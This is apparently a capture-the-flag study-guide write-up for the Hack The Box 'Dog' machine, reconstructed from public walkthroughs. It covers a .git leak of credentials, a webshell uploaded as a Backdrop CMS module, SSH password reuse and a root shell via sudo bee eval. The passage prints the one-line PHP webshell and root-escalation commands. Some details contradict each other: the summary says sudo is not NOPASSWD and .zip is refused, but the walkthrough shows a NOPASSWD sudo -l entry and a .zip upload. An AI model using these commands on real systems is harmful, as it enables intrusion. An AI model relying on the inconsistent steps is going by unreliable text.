Summary
Dog is an Easy Linux box: exposed .git directory leaks
settings.php with DB creds (root:BackDropJ2024DS2024) and an
admin user (tiffany — found in update.settings.json not in
git author email, the latter being just [email protected]). Login as
tiffany; install a malicious Backdrop CMS module → webshell as
www-data. DB password reused for johncusack’s SSH (and for
sudo, which is not NOPASSWD). johncusack has sudo on
/usr/local/bin/bee — Backdrop’s CLI has an eval subcommand:
sudo bee eval 'system("...");' → root.
The chain:
git-dumper http://<TARGET>/.git/→settings.phphasmysql://root:[email protected]/backdrop.[email protected]is infiles/config_*/active/update.settings.json(NOT in commit author email — that’s[email protected], a misdirection).- Login Backdrop CMS as
tiffany / BackDropJ2024DS2024(form at/?q=user/login, form_iduser_login). - Manual installer at
/?q=admin/installer/manual— accepts.tar/.tar.gz/.tgz/.bz2only (NOT.zip). Upload a minimal module withshell.phpalongside it. The shell lands at/modules/<modname>/shell.phpand a cleanup cron removes it within ~1 min, so script the trigger to fire immediately. - Same password works for
johncusackSSH (jobert is the other home user but we don’t need them). sudo /usr/local/bin/bee eval 'system("...");'runs as root. Notebeerequirescd /var/www/htmlfirst (or--rootflag) so it can find the Backdrop install.sudohere is not NOPASSWD — pipeBackDropJ2024DS2024viasudo -S.
Recon
22/tcp OpenSSH
80/tcp Apache → Backdrop CMS
.git is exposed.
Foothold — git-dumper + Backdrop module upload
git-dumper http://<TARGET>/.git/ ./dog
grep -i password dog/settings.php
# $database = 'mysql://root:[email protected]/backdrop';
git -C ./dog log --pretty=fuller | head
# author email: [email protected]
Login Backdrop admin as tiffany / BackDropJ2024DS2024.
Build minimal evil module:
evil/
evil.info (module metadata)
evil.module <?php system($_GET['c']); ?>
zip -r evil.zip evil
Functionality → Install → upload evil.zip → reach
/modules/evil/evil.module?c=id → www-data.
User pivot — credential reuse
$ ssh johncusack@<TARGET>
Password: BackDropJ2024DS2024
Root — sudo bee eval
$ sudo -l
(root) NOPASSWD: /usr/local/bin/bee
$ cd /var/www/html
$ sudo /usr/local/bin/bee eval 'system("bash")'
# root shell
bee is Backdrop’s drush-equivalent management CLI; the eval
subcommand runs PHP code after bootstrapping the CMS. With root
sudo, it’s a one-liner.
Why each step worked
.gitexposure: standard server misconfig, exposes source + commit metadata.- Email reuse → AD-style account: tiffany’s email is the CMS admin login.
- Backdrop module install runs the module’s PHP: by-design.
bee evalunder sudo: anyevalprimitive in a sudoable binary is RCE-as-root.
Counterfactuals
- Block
.gitat the webserver:location ~ /\.git { deny all; }. - Don’t reuse DB credentials as Linux passwords.
- Restrict
beesudoers to specific subcommands; never the whole binary.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Dog” — https://0xdf.gitlab.io/2025/07/12/htb-dog.html
- IppSec, “Dog” video walkthrough — https://ippsec.rocks/?#Dog
- Backdrop CMS
beeCLI documentation.
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.